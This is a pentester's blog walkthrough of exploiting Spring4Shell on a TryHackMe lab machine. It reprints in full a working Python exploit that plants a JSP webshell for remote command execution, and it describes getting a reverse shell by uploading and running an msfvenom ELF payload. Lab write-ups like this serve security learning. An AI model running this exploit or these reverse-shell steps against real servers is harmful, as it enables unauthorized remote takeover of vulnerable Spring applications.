Contact Form

Name

Email *

Message *

Tips for an Information Security Analyst/Pentester career - Ep. 90 - Spring4Shell Demo (Including reverse shell payload)

This is my contribution on the late Spring4Shell vulnerability.

I had a fun time demoing the vulnerability thanks to TryHackme, and I met my match when it came down to finding a reverse shell vector.

But I never give up, so here's what I came up with.

Enjoy!


Background  

Spring4Shell was initially discovered as a bypass to CVE-2010-1622-related patches. 

Spring MVC (Model-View-Controller) is part of the Spring Framework, and it automatically instantiates and populates an object of a specified class when a request is made based on the parameters sent to the endpoint. This feature could be abused to overwrite important attributes of the parent class, resulting in remote code execution. The majority of the exploits for the Spring4Shell vulnerability operate by forcing the application to write a malicious .jsp file (effectively plaintext Java which Tomcat can execute — the same way a PHP webserver would execute files with a .php extension) to the webserver. This webshell can then be run to gain remote command execution over the target.

Current conditions for vulnerability are as follows:

  • JDK 9+
  • A vulnerable version of the Spring Framework (<5.2 | 5.2.0-19 | 5.3.0-17)
  • Apache Tomcat as a server for the Spring application, packaged as a WAR
  • A dependency on the spring-webmvc and/or spring-webflux components of the Spring Framework

 DEMO

TryHackMe released a demo of this specific vulnerability.

TryHackMe also provides a Python exploit to gain RCE on the target.

The machine has TCP ports 22, 80, 443 and 8080 open.

Once we get an IP address, we can check out the webserver, which hosts a demo page.

The exploit we were supplied with requires for a url parameter to be provided, as we can gather by its code below.

#!/usr/bin/env python3
# Spring4Shell Exploit
# Original Exploit: https://github.com/BobTheShoplifter/Spring4Shell-POC/
# Modified by: AG | MuirlandOracle

import requests
import argparse
from urllib.parse import urljoin

def exploit(url, filename, password, directory):
    headers = {"suffix":"%><!--//",
                "c1":"Runtime",
                "c2":"<%",
                "DNT":"1",
                "Content-Type":"application/x-www-form-urlencoded"
    }

    data = f"class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22{password}%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/{directory}&class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="


    try:
        requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, f"{filename}.jsp")
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"Shell Uploaded Successfully!\nYour shell can be found at: {shellurl}?pwd={password}&cmd=whoami")
        else:
            print("Exploit failed to upload")
    except Exception as e:
        print(e)
        pass
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Spring4Shell RCE Proof of Concept')
    parser.add_argument('url', help='Target URL')
    parser.add_argument("-f","--filename", help="Name of the file to upload (Default tomcatwar.jsp)", default="tomcatwar.jsp")
    parser.add_argument("-p","--password", help="Password to protect the shell with (Default: thm)", default="thm")
    parser.add_argument("-d","--directory", help="The upload path for the file (Default: ROOT)", default="ROOT")
    args = parser.parse_args()
    exploit(args.url, args.filename.split(".")[0], args.password, args.directory)


 If we check the source code of the webpage, we need to be looking for the "action" of the contact form (the only POST request available to us). This is found on line 20:

<form id="contactForm" action="/" method="post">

The action is "/", meaning that our target URL will simply be: http://MACHINE_IP/

EXPLOITATION

The exploit provides us with remote code execution.

Exploit granted RCE on the remote host


 

Browsing to the indicated URL, we can get remote code execution, and we discover we're root.

The whoami command confirms we got RCE as the root user

At this point, we could easily read the root flag, if we were after it, but I'd rather focus on getting a reverse shell back to the attacking machine. I really struggled with this for a while, and nothing seemed to work, until I thought of uploading an elf shell, which is a Linux executable (Executable and Linkable Format). 

The malicious payload can be easily created through an msfvenom command such as this one:

At that point, all I had to do was to upload the file with wget, make it executable with chmod 777 shell.elf and run it (./shell.elf).

Reverse shell successfully uploaded

Reverse shell was successfully obtained on the remote host

Wrap-up

Once again, staying current is very important for pentesters and red teamers.
The least you keep abreast of new vulnerabilities the more missed opportunities for your company and your clients, which would be a real shame.

If a new exploit is out there, you preferably want to be the first to know and test it, before bad guys can actually leverage it against your customers.

It's a cat and mouse game but you gotta do what you gotta do in this industry to make sure you deliver value.

Comments

Related Posts Plugin for WordPress, Blogger...